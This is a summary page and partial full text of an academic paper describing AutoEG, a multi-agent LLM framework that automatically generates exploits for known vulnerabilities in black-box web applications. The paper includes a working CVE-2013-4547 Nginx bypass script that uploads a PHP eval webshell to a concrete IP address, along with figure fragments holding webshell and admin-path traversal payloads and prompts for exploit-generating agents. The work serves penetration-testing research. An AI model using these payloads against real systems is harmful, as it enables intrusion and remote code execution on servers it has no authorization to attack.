Paper deep dive
AutoEG: Exploiting Known Third-Party Vulnerabilities in Black-Box Web Applications
Ruozhao Yang, Mingfei Cheng, Gelei Deng, Junjie Wang, Tianwei Zhang, Xiaofei Xie
Intelligence
Status: succeeded | Model: google/gemini-3.1-flash-lite-preview | Prompt: intel-v1 | Confidence: 96%
Last extracted: 4/2/2026, 3:29:40 AM
Summary
AutoEG is a multi-agent framework designed for fully automated exploit generation against black-box web applications. It addresses the challenges of interpreting unstructured vulnerability information and adapting exploits to diverse deployment environments by decomposing the process into two phases: constructing reusable trigger functions from vulnerability data and performing feedback-driven runtime exploitation. Evaluation on 104 real-world vulnerabilities shows an 82.41% success rate, significantly outperforming existing state-of-the-art methods.
Entities (5)
Relation Signals (3)
AutoEG â targets â Black-box web applications
confidence 100% ¡ we propose AutoEG, a fully automated multi-agent framework for exploit generation targeting black-box web applications.
AutoEG â uses â Trigger functions
confidence 100% ¡ AutoEG extracts precise vulnerability trigger logic... and encapsulates it into reusable trigger functions.
AutoEG â outperforms â State-of-the-art baselines
confidence 95% ¡ AutoEG achieves an average success rate of 82.41%, substantially outperforming state-of-the-art baselines
Cypher Suggestions (0)
No Cypher suggestions yet.
Abstract
Abstract:Large-scale web applications are widely deployed with complex third-party components, inheriting security risks arising from component vulnerabilities. Security assessment is therefore required to determine whether such known vulnerabilities remain practically exploitable in real applications. Penetration testing is a widely adopted approach that validates exploitability by launching concrete attacks against known vulnerabilities in real-world black-box systems. However, existing approaches often fail to automatically generate reliable exploits, limiting their effectiveness in practical security assessment. This limitation mainly stems from two issues: (1) precisely triggering vulnerabilities with correct technical details, and (2) adapting exploits to diverse real-world deployment settings. In this paper, we propose AutoEG, a fully automated multi-agent framework for exploit generation targeting black-box web applications. AutoEG has two phases: First, AutoEG extracts precise vulnerability trigger logic from unstructured vulnerability information and encapsulates it into reusable trigger functions. Second, AutoEG uses trigger functions for concrete attack objectives and iteratively refines exploits through feedback-driven interaction with the target application. We evaluate AutoEG on 104 real-world vulnerabilities with 29 attack objectives, resulting in 660 exploitation tasks and 55,440 exploit attempts. AutoEG achieves an average success rate of 82.41%, substantially outperforming state-of-the-art baselines, whose best performance reaches only 32.88%.
Tags
Links
- Source: https://arxiv.org/abs/2604.00704v1
- Canonical: https://arxiv.org/abs/2604.00704v1
Trouble viewing inline? Open PDF directly â
Full Text
109,102 characters extracted from source content.
Expand or collapse full text
AutoEG: Exploiting Known Third-Party Vulnerabilities in Black-Box Web Applications Ruozhao Yang 1 , Mingfei Cheng 1 , Gelei Deng 2 , Junjie Wang 3 , Tianwei Zhang 2 , Xiaofei Xie 1 1 Singapore Management University, 2 Nanyang Technological University, 3 Tianjin University Abstract Large-scale web applications are widely deployed with com- plex third-party components, inheriting security risks aris- ing from component vulnerabilities. Security assessment is therefore required to determine whether such known vulner- abilities remain practically exploitable in real applications. Penetration testing is a widely adopted approach that validates exploitability by launching concrete attacks against known vulnerabilities in real-world black-box systems. However, existing approaches often fail to automatically generate reli- able exploits, limiting their effectiveness in practical security assessment. This limitation mainly stems from two issues: (1) precisely triggering vulnerabilities with correct techni- cal details, and (2) adapting exploits to diverse real-world deployment settings. In this paper, we propose AutoEG, a fully automated multi- agent framework for exploit generation targeting black-box web applications. AutoEG has two phases: First, AutoEG ex- tracts precise vulnerability trigger logic from unstructured vul- nerability information and encapsulates it into reusable trigger functions. Second, AutoEG uses trigger functions for con- crete attack objectives and iteratively refines exploits through feedback-driven interaction with the target application. We evaluate AutoEG on 104 real-world vulnerabilities with 29 at- tack objectives, resulting in 660 exploitation tasks and 55,440 exploit attempts. AutoEG achieves an average success rate of 82.41%, substantially outperforming state-of-the-art base- lines, whose best performance reaches only 32.88%. 1 Introduction Web applications have become a fundamental infrastructure of modern online services, supporting critical domains such as banking, e-commerce, and social networking, and con- sequently attracting sustained attention from attackers [1]. Modern web applications are typically built upon multiple interacting components, such as web frameworks, middle- ware, and databases [2]. This dependency complexity signifi- cantly increases security risks. Individual components may contain vulnerabilities, and the rapid evolution of third-party components often outpaces application-level maintenance, leaving deployed applications exposed to known vulnerabili- ties. Prior studies show that 81.5% of software projects rely on outdated third-party components [3]. Because the tech- nical details of known vulnerabilities are publicly disclosed, these outdated dependencies present readily exploitable at- tack surfaces, often leading to severe security consequences. This reality highlights the necessity of systematically evalu- ating whether known vulnerabilities remain triggerable and exploitable in real-world web applications, namely known- vulnerability-based web application penetration testing. Penetration testing evaluates the security of deployed appli- cations by emulating real-world attacks under authorized and black-box settings [4, 5]. The National Institute of Standards and Technology (NIST) characterizes the Attack stage as âthe heart of any penetration testâ, in which previously identified vulnerabilities are validated through concrete exploitation at- tempts against the target system [4]. Accordingly, exploit gen- eration constitutes a core task in known-vulnerability-based web application penetration testing. In practice, generating working exploits for known vulner- abilities is non-trivial and involves two key requirements. (1) Correctly interpreting vulnerability trigger logic from vulner- ability information and translating such information into con- crete exploit implementations. The vulnerability information is obtained from public repositories (e.g., CVE and NVD), whose records typically include free-form external references and are therefore fragmented and unstructured, making them difficult to work with. (2) Precisely adapting the generated exploit to the concrete deployment environment. In real-world deployments, environment-specific details such as URL paths, parameter names, request formats, and server-side behaviors vary across installations, and even minor deviations in these details can invalidate an exploit and cause execution failure. This process is further complicated by the need to satisfy different attack objectives (i.e., high-level security goals that specify the intended impact of an exploitation attempt) [5], which may impose varying exploitation requirements even 1 arXiv:2604.00704v1 [cs.CR] 1 Apr 2026 for the same vulnerability. Therefore, exploit generation often relies on human expertise. Existing approaches to web application penetration testing can be broadly categorized into manual testing and LLM- based automated testing. Manual penetration testing relies en- tirely on human experts to perform exploit generation through iterative crafting and refinement, resulting in limited effi- ciency and scalability [6]. Semi-automated approaches [7] delegate exploit generation to LLMs but still require sub- stantial human intervention during execution and adaptation. Fully automated approaches [8, 9] employ dedicated LLM agents responsible for automated exploit generation; however, their success rates in real-world scenarios are reported be- low 40% [10, 11]. From the perspective of exploit generation, this limitation primarily stems from LLM-generated outputs, which frequently contain incorrect technical details for vul- nerability triggering (e.g., missing critical parameters) and erroneous environment adaptation in real-world deployments (e.g., referencing non-existent paths or files). In summary, while large language models have demon- strated strong capabilities in code generation and vulnera- bility analysis [12â14], directly relying on them for exploit generation is far from trivial due to two main challenges: â˘C1: How to precisely trigger a known vulnerability given heterogeneous and unstructured vulnerability information? Vulnerability information is scattered across diverse sources and expressed in mixed formats, including natural language explanations, HTTP request examples, payload fragments, and code snippets. These heterogeneous representations lack a unified structure, making it difficult to precisely trigger the vulnerability with correct technical details, in- cluding input data structure, parameter constraints, and vulnerability-critical characters. â˘C2: How to ensure reliable and precise exploit generation under unreliable LLM outputs? Large language models often produce outputs that contain incorrect assumptions at the level of concrete exploit details, making it difficult to adapt generated exploits to concrete deployment envi- ronments. Moreover, their outputs are highly inconsistent: given the same vulnerability information and attack ob- jective, repeated generations frequently differ in low-level details, introducing significant uncertainty and further un- dermining the reliability of generated exploits. Motivated by these, this paper aims to design a fully au- tomated and reliable exploit generation approach that can effectively support known-vulnerability-based web applica- tion penetration testing. Specifically, we propose AutoEG, a multi-agent automated exploit generation framework for black-box web applications. Our design is motivated by the insight that vulnerability exploitation can be decomposed into structured trigger logic extraction and runtime adaptation. AutoEG consists of two main phases. In Phase A: Trigger Function Construction, AutoEG extracts vulnerability trig- Figure 1: Four-stage penetration testing methodology defined by NIST (Figure 5-1), reproduced from NIST Special Publi- cation 800-115 [4]. ger logic from heterogeneous and unstructured vulnerability information and encapsulates it into reusable trigger func- tions, providing a structured and consistent representation for downstream exploitation. In Phase B: Runtime Exploitation, AutoEG instantiates trigger functions according to specific attack objectives and iteratively interacts with the target web application, refining exploits based on runtime feedback to adapt to the concrete execution environment. We evaluate AutoEG on 104 real-world vulnerabilities de- ployed in concrete web application environments. We design 29 attack objectives, resulting in 660 concrete exploitation tasks. Across 55,440 exploit attempts, AutoEG achieves an average attack success rate of 82.41%, substantially outper- forming state-of-the-art baselines, whose best performance reaches only 32.88%. Ablation studies further confirm the contribution of different agents in the framework. In summary, the paper makes the following contributions: â˘We present AutoEG, a multi-agent framework for fully au- tomated exploit generation targeting known vulnerabilities in black-box web applications. â˘We propose a trigger function construction design that trans- forms unstructured vulnerability information into reusable, structured representations. â˘We introduce a task decomposition and test-driven valida- tion strategy that improves robustness and mitigates the impact of LLM hallucination. ⢠Our evaluation on 104 real-world vulnerabilities in web applications demonstrates the effectiveness of AutoEG. 2 Problem Statement 2.1 Penetration Testing & Exploit Generation According to the NIST technical guidance, penetration test- ing follows a structured workflow consisting of four stages: Planning, Discovery, Attack, and Reporting [4], as illustrated in Figure 1. The Planning stage defines the testing scope, target assets, and attack objectives. The Discovery stage then collects technical information about the target system, includ- ing exposed services, configurations, and publicly disclosed 2 vulnerability information. Based on the data from previous stages, the Attack stage performs concrete exploitation at- tempts against the running system to validate whether iden- tified vulnerabilities can be successfully triggered and what practical security impact they produce. The Reporting stage summarizes the observed results and security implications. This paper focuses on the Attack stage and studies exploit generation as an independent technical task. Concretely, the inputs include (i) vulnerability information, (i) specified at- tack objectives, and (i) access to a target web application. The output is an executable exploit that interacts with the target application through its exposed interfaces. A successful exploit must reliably trigger the known vulnerability and sat- isfy the specified attack objective under black-box conditions. Our task differs substantially from proof-of-concept (PoC) generation or reproduction [15â18]. Such PoC-oriented tasks are typically studied under white-box settings with access to source code, whereas our exploit generation operates strictly under a black-box setting. PoC generation further focuses on new or previously unknown vulnerabilities, while both PoC reproduction and our task target known vulnerabilities. How- ever, PoC reproduction aims only to confirm the triggering condition, whereas our task targets full exploitation, requiring end-to-end executable exploits that achieve specified attack objectives in real-world web applications. 2.2 Limitations of Vulnerability Information Vulnerability information used for exploit generation is primarily obtained from public repositories such as cve.org[19] and the National Vulnerability Database (NVD) [20]. A typical record provides a unique identifier (e.g., CVE-2013-4547), a short textual description, and a set of external reference links. However, the descriptions are authored without standardized formats or explicit technical re- quirements for exploitation. They mainly summarize affected components, vulnerable versions, and high-level impact, while omitting many critical details required to construct a working exploit, including precise triggering conditions, request struc- tures, parameter constraints, environmental assumptions, and dependency requirements [21â23]. As a result, vulnerability descriptions alone rarely provide sufficient information to directly derive executable exploits. External references are intended to compensate for these missing details. However, only a small fraction of disclosed vulnerabilities are accompanied by publicly available exploit implementations [6,24,25]; prior study reports that only 3,164 among 75,807 examined vulnerabilities have associated pub- lic exploits [25]. Exploitation-related knowledge is instead scattered across heterogeneous and unstructured materials, spanning sources such as GitHub repositories, personal blogs, and security vendor reports. Available information often ap- pears in fragmented forms, including natural-language ex- planations, HTTP request examples, payloads, code snippets, as well as hybrid combinations thereof. Even when useful clues exist, they are rarely presented in a directly actionable or machine-consumable form and typically require substantial manual interpretation, normalization, and gap filling. Consequently, translating the unstructured vulnerability information into reliable, executable exploits remains a fun- damental challenge in real-world penetration testing. This difficulty stems from the need to simultaneously infer implicit triggering logic and operational constraints, and to concretely instantiate them into executable attack behaviors that remain robust under black-box interaction and environment-specific variability. Appendix B provides representative examples il- lustrating the diversity and unstructured nature of vulnerabil- ity information encountered in practice. 2.3 Threat Model We consider an authorized attacker whose goal is to automat- ically generate working exploits for known vulnerabilities against a target web application under black-box conditions. The attacker has no access to the applicationâs source code, configuration files, or internal system state, and can interact with the target system only through its exposed HTTP(S) interfaces. The attacker is provided with publicly available vulnerability information, including CVE descriptions and the contents of their referenced links, as well as the target ap- plication URL and specified attack objectives that define the intended security impact. Based on these inputs, the attacker aims to generate executable exploits that can reliably trigger the known vulnerability and satisfy the specified objectives in the concrete deployment environment. We assume that vul- nerability discovery, source-level analysis, and insider access are out of scope. Defensive evasion beyond the exploitation of the known vulnerability, post-exploitation activities, and lateral movement are also not considered in this work. 2.4 A Real-World Exploit Generation Example We illustrate the practical challenges of exploit generation through a real-world example based on CVE-2013-4547 [26], a canonical Nginx URI parsing bypass vulnerability that en- ables access control evasion via crafted request paths. This vulnerability remains widely present in todayâs web applica- tions, as large-scale Internet measurements from platforms such as Shodan and Censys continue to observe thousands of publicly reachable services affected [27â29]. Moreover, it can be exploited to achieve diverse attack objectives, including unauthorized access, remote command execution, and web- shell upload, making it a representative and high-impact case for studying real-world exploit generation. Figure 2 presents the vulnerability information together with the generated exploit details for this example. The refer- ences linked from the CVE entry [30] mainly consist of natu- ral language descriptions outlining high-level bypass strate- 3 import requests # Attack Objective: Upload a webshell and obtain a connection to target server. host = "8.219.107.33" port = 1277 upload_url = f"http://host:port/" trigger_url = f"http://host:port/uploadfiles/exploit.gif%20%00.php" file_content = b'<?php @eval($_POST["exp"]); ?>' boundary = "--------814673712" headers = "Content-Type": f"multipart/form-data; boundary=boundary" data = ( f"boundary " 'Content-Disposition: form-data; name="file_upload"; filename="exploit.gif " ' " " ).encode() + file_content + (f" boundary-- ").encode() requests.post(upload_url, headers=headers, data=data) resp = requests.get(trigger_url) print(resp.text) PHP webshell bypass with %20%00 Vulnerability Info (CVE-2013-4547) description: "nginx 0.8.41 through 1.4.3 and 1.5.x before 1.5.7 allows remote attackers to bypass intended restrictions via an unescaped space character in a URI.", references: "Some checks on a request URI were not executed on a character following an unescaped space character (which is invalid per HTTP protocol, but allowed for compatibility reasons since nginx 0.8.41). One of the results is that it was possible to bypass security restrictions like location /protected/ deny all; by requesting a file as '/foo /../protected/file'... or ... like location ~\.php$ fastcgi_pass ... by requesting a file as '/file \0.php' ..." Natural Language A Working Exploit for A Specific Attack Objective 1 2 3 4 5 6 7 8 9 10 11 12 Figure 2: A real-world exploit generation example based on CVE-2013-4547. gies, such as injecting special characters into request paths, including traversal-like patterns and null-byte-related encod- ings, rather than a concrete exploit script. In this example, the attack objective is to upload a webshell to the target applica- tion, which requires constructing a precise HTTP request that simultaneously satisfies multiple constraints. Specifically, the request must embed a correctly encoded bypass payload at the appropriate position in the request path (line 5) and include a well-formed malicious file whose content constitutes a valid executable webshell (line 6). A working exploit depends on the joint correctness of the bypass payload, the HTTP request structure, and the webshell content. Even a single incorrect character in the crafted path or payload can invalidate the re- quest and cause the vulnerability trigger to fail. This example demonstrates the substantial gap between high-level vulnera- bility information and a fully working exploit, highlighting that exploit generation in real-world penetration testing is a complex and error-prone task. 3 Related Work 3.1 White-Box Vulnerability Detection Existing vulnerability detection techniques are predominantly designed for white-box settings, where full access to the tar- get applicationâs source code is assumed [31â34]. These tech- niques aim to detect and validate previously unknown vulnera- bilities through program analysis methods such as fuzzing and symbolic execution. In contrast, known-vulnerability-based penetration testing focuses on exploiting already disclosed vulnerabilities and is typically conducted under black-box conditions, where source code is unavailable. As a result, white-box vulnerability detection techniques are not applica- ble to the problem setting considered in this work and are therefore excluded from our scope. 3.2Automated Penetration Testing with LLMs Recent approaches employ large language models to automate penetration testing workflows [7â9, 35â37]. These systems typically include an exploitation component that generates attack scripts for known vulnerabilities. In most existing de- signs, exploit generation is driven by directly prompting the model to translate vulnerability information into executable exploits, without introducing explicit intermediate representa- tions, constraints or systematic validation. Under this general paradigm, representative systems mainly differ in how they organize the interaction between the LLM and exploit execution. PentestGPT [7] adopts a chatbot-style interaction model, where the LLM generates exploit scripts based on conversational context, while execution and result interpretation are performed by the user and fed back into the dialogue. PentestAgent [8] introduces an agent-based work- flow where exploit generation is guided by two predefined questions prompting the LLM to identify execution parame- ters and other required information. The generated exploits are executed by a dedicated component. VulnBot [9] further extends this design by employing multiple agents, where a generator produces exploits from vulnerability scan results and an executor iteratively runs them toward a specified attack objective. Despite these additional designs, exploit genera- tion in all three systems ultimately relies on the LLM to directly produce complete exploits in a single step, without explicit verification or constraint over intermediate variables such as parameters, payload structures, or vulnerability trig- ger conditions. The generated exploits often omit critical pa- rameters, alter vulnerability-sensitive characters, or reference non-existent environment-specific elements [11], leading to unstable behavior across executions and attack objectives. 4 Design of AutoEG 4.1 Challenges & Insights Existing works (in Section 3.2) demonstrate that LLMs hold promise for exploit generation. However, directly applying LLMs to this task remains of limited effectiveness in prac- tice [11]. Two main challenges must be carefully addressed. Challenge I: How to precisely trigger a known vulnera- bility given heterogeneous and unstructured vulnerability information? The complexity of vulnerability descriptions makes precise triggering difficult, as critical constraints and dependencies are often implied rather than explicitly stated. 4 In the example presented in Section 2.4, the references con- sist solely of natural-language explanations, requiring the attacker to infer subtle triggering details before constructing a concrete payload and HTTP request. This illustrates that iden- tifying vulnerability-critical inputs and structural constraints is non-trivial for practical exploit generation. Existing LLMs frequently miss essential parameters or incorrectly modify vulnerability-sensitive symbols, such as encoded strings or special delimiters, which breaks the triggering behavior. Solution: To address this challenge, we decouple vulnera- bility triggering reasoning from exploit generation as an inde- pendent abstraction step. Under our threat model, attackers interact with the target application solely through its exposed HTTP(S) interface, implying that successful exploitation ulti- mately reduces to constructing vulnerability-specific HTTP requests. Since HTTP interactions are inherently structured, we propose a trigger function abstraction that captures the inferred triggering semantics as an instantiable functional rep- resentation over HTTP requests. The abstraction consolidates invariant elements (e.g., fixed endpoints, required parameters, and constant fields) while exposing only the minimal set of variable components as configurable inputs. This design con- verts implicit triggering knowledge into a unified executable form, enabling reliable downstream invocation, systematic validation, and reuse across multiple exploit realizations. Challenge I: How to ensure reliable and precise exploit generation under unreliable LLM outputs? Exploit gen- eration requires producing concrete attack codes that can be reliably executed against a target web application, where even minor deviations may invalidate the attack. However, LLM- generated exploits often contain invalid elements, such as non- existent paths, files, or API endpoints, leading to execution failures in black-box testing. Beyond explicit errors, output instability poses a deeper challenge: even with identical vul- nerability information and attack objectives, LLMs frequently generate exploits that differ in low-level details such as param- eter selection and argument ordering. This variability makes exploit generation difficult to control and reason about. When exploit generation is extended to support multiple attack ob- jectives for the same vulnerability, such instability persists across parallel exploit realizations, significantly undermining the reliability and practicality of LLM-based approaches. Solution:To mitigate the impact of unreliable LLM outputs, we decompose exploit generation into sub-tasks and introduce test-driven validation to constrain each intermediate artifact. Rather than relying on a monolithic end-to-end generation process, each sub-task produces an intermediate result with explicit structural or semantic expectations that can be verified before being consumed by other components. By constrain- ing and validating intermediate artifacts, this design limits the introduction and propagation of incorrect or inconsistent elements during exploit construction. In addition, the trigger function introduced in Challenge I further stabilizes exploit generation by reducing free-form code synthesis to structured function instantiation, which inherently narrows the output space and reduces opportunities for incorrect or inconsistent elements. Together, these designs improve the reliability and controllability of exploit generation, even when supporting multiple attack objectives for the same vulnerability. 4.2 Overview Building on the above insights, we present AutoEG, a multi- agent framework for automatic exploit generation targeting known vulnerabilities in black-box web applications. Figure 3 illustrates the overall architecture of AutoEG using a running example based on CVE-2013-4547. The framework organizes exploit generation into two complementary phases that enable precise and reliable exploitation: ⢠Phase A: Trigger Function Construction (§4.3) extracts pre- cise vulnerability trigger logic from heterogeneous and un- structured vulnerability information and produces reusable trigger functions. This phase is realized through the collab- oration of three agents:â Trigger Logic Extractor derives trigger logic from vulnerability information and constructs initial trigger functions;âĄTrigger Function Validator eval- uates the correctness of the generated trigger functions; and â˘Trigger Function Refiner revises trigger functions that fail validation. The refined trigger functions are fed back to the validator, enabling repeated interaction betweenâĄand â˘until a valid trigger function is obtained or a predefined revision limit is reached. â˘Phase B: Runtime Exploitation (§4.4) builds on the trigger function produced in Phase A to instantiate and execute concrete exploit instances for different attack objectives against the target web application. This phase is realized through the collaboration of three agents:âŁExploit Gen- erator, which instantiates the trigger function into an ex- ploit instance for each specified attack objective;â¤Exploit Executor, which executes each exploit instance, collects runtime feedback (e.g., server responses) from the target ap- plication, and determines whether the attack is successful; andâĽExploit Refiner, which revises exploit instances that fail execution based on the observed execution results. Each revised exploit is returned to the executor for re-execution, enabling repeated interaction betweenâ¤andâĽuntil the corresponding attack objective is achieved or a predefined revision limit is reached. For reproducibility and transparency, Appendix C provides the complete prompts used by each agent in the framework. 4.3 Phase A: Trigger Function Construction In this phase, AutoEG focuses on extracting precise vulner- ability trigger logic from heterogeneous vulnerability infor- mation, including CVE descriptions and reference materials, and formalizing it into a reliable trigger function. By de- 5 Vulnerability Information description: "nginx 0.8.41 through 1.4.3 and 1.5.x before 1.5.7 allows remote attackers to bypass intended restrictions via an unescaped space character in a URI.", references: "... it was possible to bypass security restrictions like location /protected/ deny all; by requesting a file as '/foo /../protected/file' ... , or to trigger processing of a file with a trailing space in a configuration like location ~ \.php$ fastcgi_pass ... by requesting a file as â/file \0.php'..." ... expected_path = "/foo /../protected/file" url = trigger_cve_2013_4547(host, "bypass_location", base="/", prefix="foo ", target="protected/file") ... assert parsed_url.path == expected_path, f"URL Path Mismatch: Expected 'expected_path', got 'parsed_url.path'" ... expected_path = "/file%20%00.php" url = trigger_cve_2013_4547(host, "bypass_regex", base="/", filename="file", extension="php") ... assert parsed_url.path == expected_path, f"URL Path Mismatch: Expected 'expected_path', got 'parsed_url.path'" ... print("Test passed.") Trigger Function Refiner def trigger_cve_2013_4547(host, exploit_type, params): ... elif exploit_type == "bypass_regex": uri = base + params.filename + "%20%00." + params.extension ... send_request(url) ... Phase A: Trigger Function Construction AssertionError: "URL Path Mismatch: Expected '/file%20%00.php', got '/file%00.php'" Trigger Function ValiatorTrigger Logic Extractor def trigger_cve_2013_4547(host, exploit_type, params): ... if exploit_type == "bypass_location": uri = base + params.prefix + "/../" + params.target elif exploit_type == "bypass_regex": uri = base + params.filename + "%00." + params.extension ... url = f"http://hosturi" send_request(url) ... return url, response.status_code, response.text failre-validate Phase B: Runtime Exploitation Attack Objectives 1: "Upload a webshell and obtain a connection to target server", 2: "Trigger special functions like phpinfo()", 3: "Access the admin page" Target Web Application url: "http://w.testtarget.com:1234/" Exploit Generator # Exploit-1 (with attack objective 1) ... http_method = "POST" filename = "test.php" uri = target + filename + "%20%00.php" file_content = "<?php @eval($_POST["a"]); ?>" ... trigger_cve_2013_4547(target, "bypass_regex", http_method, filename, uri, file_content) ... # Exploit-2 (with attack objective 2) ... http_method = "POST" filename = "test.php" uri = target + filename + "%20%00.php" file_content = "<?php phpinfo()?>" ... trigger_cve_2013_4547(target, "bypass_regex", http_method, filename, uri, file_content) ... # Exploit-3 (with attack objective 3) ... target = "w.testtarget.com:1234" http_method = "GET" uri = target + "/../" + "admin" ... trigger_cve_2013_4547(target, "bypass_location", http_method, uri) ... Exploit Refiner # Exploit-1 ... file_name = "test.jpg" ... # Exploit-2 ... file_name = "test.gif" ... Exploit Executor server response: "Upload file type only allow: jpg, png, gif"Exploit-1Fail server response: "Upload file type only allow: jpg, png, gif"Exploit-2Fail Exploit-3server response: "Admin Panel ... Add new user..." Succeed fail Final Results: Working Exploits # Exploit-1 for CVE-2013-4547 ... http_method = "POST" filename = "test.jpg" uri = target + filename + "%20%00.php" file_content = "<?php @eval($_POST["a"]); ?>" ... trigger_cve_2013_4547(target, "bypass_regex", http_method, filename, uri, file_content) ... # Exploit-2 for CVE-2013-4547 ... http_method = "POST" filename = "test.gif" uri = target + filename + "%20%00.php" file_content = "<?php phpinfo()>" ... trigger_cve_2013_4547(target, "bypass_ regex", http_method, filename ... # Exploit-3 for CVE-2013-4547 ... target = "w.testtarget.com:1234" http_method = "GET" uri = target + "/../" + "admin" ... trigger_cve_2013_4547(target, "bypass_location", http_method, uri) ... succeed pass re-exe Figure 3: Overall architecture of AutoEG with a running example (CVE-2013-4547). coupling trigger logic construction from exploit generation, Phase A transforms unstructured vulnerability knowledge into a reusable and executable abstraction, which serves as the foundation for subsequent runtime exploitation. 4.3.1â Trigger Logic Extractor This agent extracts vulnerability trigger logic from unstruc- tured vulnerability information and formalizes it as an ini- tial trigger function. Given CVE descriptions and reference materials, it identifies the core logic required to trigger the vulnerability and encodes it into a reusable functional repre- sentation. Logic that must remain unchanged to preserve the vulnerability semantics is embedded directly into the trigger function, while only a small and well-defined set of elements that vary across exploit instances is exposed as configurable inputs. By doing so, the Trigger Logic Extractor explicitly separates vulnerability semantics from exploit instantiation choices, ensuring that all subsequent exploit generation fol- lows a consistent trigger logic rather than reinterpreting the vulnerability. Within the framework, the trigger function pro- Trigger Logic Extractor Prompt You are a highly skilled technical assistant with deep expertise in penetration testing and exploit development. Given detailed vulnerability information, including descriptions and references, your task is to: Abstract the core logic of how to trigger a vulnerability into a reusable function, based on the provided vulnerability data. Identify and extract all invariant and essential elements, such as specific API endpoints, function names, or constant parameters. For each expression in the references, determine whether it represents a fixed requirement or a variable input related to the attack. Only expose the minimal necessary set of variable components as configurable inputs. Figure 4: Prompt in the Trigger Logic Extractor agent. duced by this agent serves as the only interface through which later agents access vulnerability semantics. The extraction process is guided by a structured prompt, shown in Figure 4. Using the running example (in Figure 3), we illustrate how the Trigger Logic Extractor operates when vulnerability infor- mation is provided entirely in natural language. In CVE-2013- 6 4547, the description states that unescaped space characters in Nginx URI parsing allow attackers to bypass access re- strictions, and the references describe two common bypass patterns: path-based location bypass and regex-based suffix bypass. Based on this information, the extractor captures the unescaped space handling as shared trigger logic and repre- sents the two bypass patterns as fixed branches within the trigger function. Inputs such as path prefixes, target resources, filenames, or extensions are treated as configurable, while the placement and role of special characters remain fixed. As a result, different exploit instances targeting different attack ob- jectives can be derived from the same trigger function without reinterpreting the underlying vulnerability logic. 4.3.2⥠Trigger Function Validator This agent determines whether the trigger function produced byâ correctly reflects the vulnerability trigger logic described in the vulnerability information. Instead of relying on free- form reasoning, this agent performs validation through a test- driven and rule-based process. Specifically, it automatically generates a structured test case from the vulnerability refer- ences using an LLM, and then executes the test case against the trigger function using deterministic checks implemented as assertion statements. Each test case specifies the expected HTTP semantics implied by the references, including the URL path (and query parameters when applicable), the HTTP re- quest body, and the HTTP method or headers that are critical for successful exploitation. The validation process outputs âTest passed.âif all checks succeed; otherwise, it raises anAssertionErrorwith a clear and localized error message indicating the mismatched component. Using the running example (in Figure 3), we illustrate how the Trigger Function Validator detects subtle but vulnerability- critical errors that are difficult to identify during trigger logic extraction alone. For CVE-2013-4547, the references describe bypass requests whose URL paths must contain special char- acters at precise positions. Accordingly, the generated test case instantiates the trigger function under different bypass modes and asserts an exact match between the expected URL path derived from the references and the actual path produced by the trigger function. As shown in the example, valida- tion fails when the trigger function incorrectly constructs the path/file%00.phpfor the regex-based bypass, whereas the reference-consistent path should be/file%20%00.php. The resulting assertion pinpoints the missing encoded space and returns the failing trigger function unchanged, provid- ing concrete feedback for subsequent revision. By enforcing strict consistency with the vulnerability references, the Trig- ger Function Validator prevents subtle symbol-level errors from propagating into downstream exploit generation. 4.3.3⢠Trigger Function Refiner WhenâĄreports a validation failure, this agent revises the trig- ger function based on the correspondingAssertionError. It takes as input the failing trigger function together with this AssertionError, which explicitly identifies the mismatch between the expected behavior derived from the vulnerability references and the actual behavior produced by the trigger function. Rather than regenerating trigger logic from scratch, the refiner performs targeted revisions that address the re- ported error while preserving the original intent, structure, and vulnerability semantics encoded in the trigger function. In this way, refinement is driven by concrete validation signals and remains focused on correcting specific inconsistencies, avoiding unnecessary or disruptive changes. Using the running example (in Figure 3), we illustrate how the Trigger Function Refiner corrects vulnerability-critical errors exposed during validation. For CVE-2013-4547, the validator reports an error (i.e.,URL Path Mismatch: Expected â/file%20%00.phpâ, got â/file%00.phpâ), indicating that the generated trigger function omits an encoded space character required by the reference-consistent bypass request. Guided by thisAssertionError, the refiner updates the corresponding branch of the trigger function by restoring the missing encoded space in the constructed URI (i.e., revisingâ%00.âtoâ%20%00.â). The refined trigger function is then returned toâĄfor re-validation. This refinementâvalidation loop continues until the trigger function passes all checks or a predefined revision limit is reached (three iterations in our implementation). By coupling precise assertion feedback with bounded refinement, the Trigger Function Refiner incrementally improves trigger function correctness and ensures that only validated trigger logic is propagated to downstream exploit generation. 4.4 Phase B: Runtime Exploitation In this phase, AutoEG focuses on instantiating and execut- ing concrete exploit instances for different attack objectives against the target web application, based on the validated trigger function produced in Phase A. By grounding exploit generation in verified trigger logic, Phase B avoids reinterpret- ing vulnerability information and instead focuses on practical runtime exploit execution under the black-box conditions. 4.4.1⣠Exploit Generator This agent instantiates the validated trigger function into con- crete, executable exploits for different attack objectives. It takes as input the trigger function produced in Phase A, the target web application (URL), and a set of attack objectives, and generates one standalone exploit instance for each ob- jective. Concretely, this agent is responsible for binding the abstract trigger logic to a specific target environment by select- ing concrete parameter values, constructing complete HTTP 7 Exploit Executor Prompt Analyze the provided server response to determine whether the attack was successful (i.e., achieved the attack objective). The result should include an explicit attack_result (TRUE for success, FALSE for failure): - If the attack succeeded (attack_result = TRUE), keep the original exploit unchanged as part of the final results. - If the attack failed (attack_result = FALSE), use the server response as output for further refinement. Figure 5: Prompt in the Exploit Executor agent. request flows, and embedding the trigger function into an executable script. By design, the trigger function remains un- changed across all generated exploits and serves as the sole carrier of vulnerability semantics, while differences among ex- ploit instances are introduced only through objective-specific parameters and payload construction. This separation ensures exploit diversity through controlled instantiation rather than reinterpreting or modifying the underlying vulnerability logic. Using the running example (in Figure 3), we illustrate how the Exploit Generator derives multiple exploit instances from a single trigger function for CVE-2013-4547. Given the same validated trigger function and target URL, the agent generates three exploits corresponding to distinct attack objectives: up- loading a webshell, triggering diagnostic functionality (e.g., phpinfo()), and accessing an administrative endpoint. For the first two objectives, the trigger function is instantiated in the regex-based bypass mode with different payload contents, resulting in exploits that share identical bypass logic but differ in injected code. For the third objective, the trigger function is instantiated in the path-based bypass mode to construct a traversal request targeting the administrative path. In all cases, the trigger function itself is reused without modifica- tion, and objective-specific behavior is realized solely through controlled parameter instantiation. 4.4.2⤠Exploit Executor This agent executes the exploits generated byâŁagainst the target web application and determines whether each attack objective is achieved. It takes as input a set of exploit scripts together with their corresponding attack objectives, runs each exploit in the target environment, and collects execution feed- back such as server responses. For each exploit, the agent pro- duces an explicit success or failure decision based on whether the observed runtime behavior satisfies the specified attack objective. To support this decision making, the Exploit Execu- tor employs an LLM-guided assessment that analyzes server responses with respect to the attack objective and outputs a binaryattack_result, as constrained by the prompt shown in Figure 5. Successful exploits are directly recorded as final results, while failed exploits are returned together with their execution feedback for subsequent refinement. Using the running example (in Figure 3), three 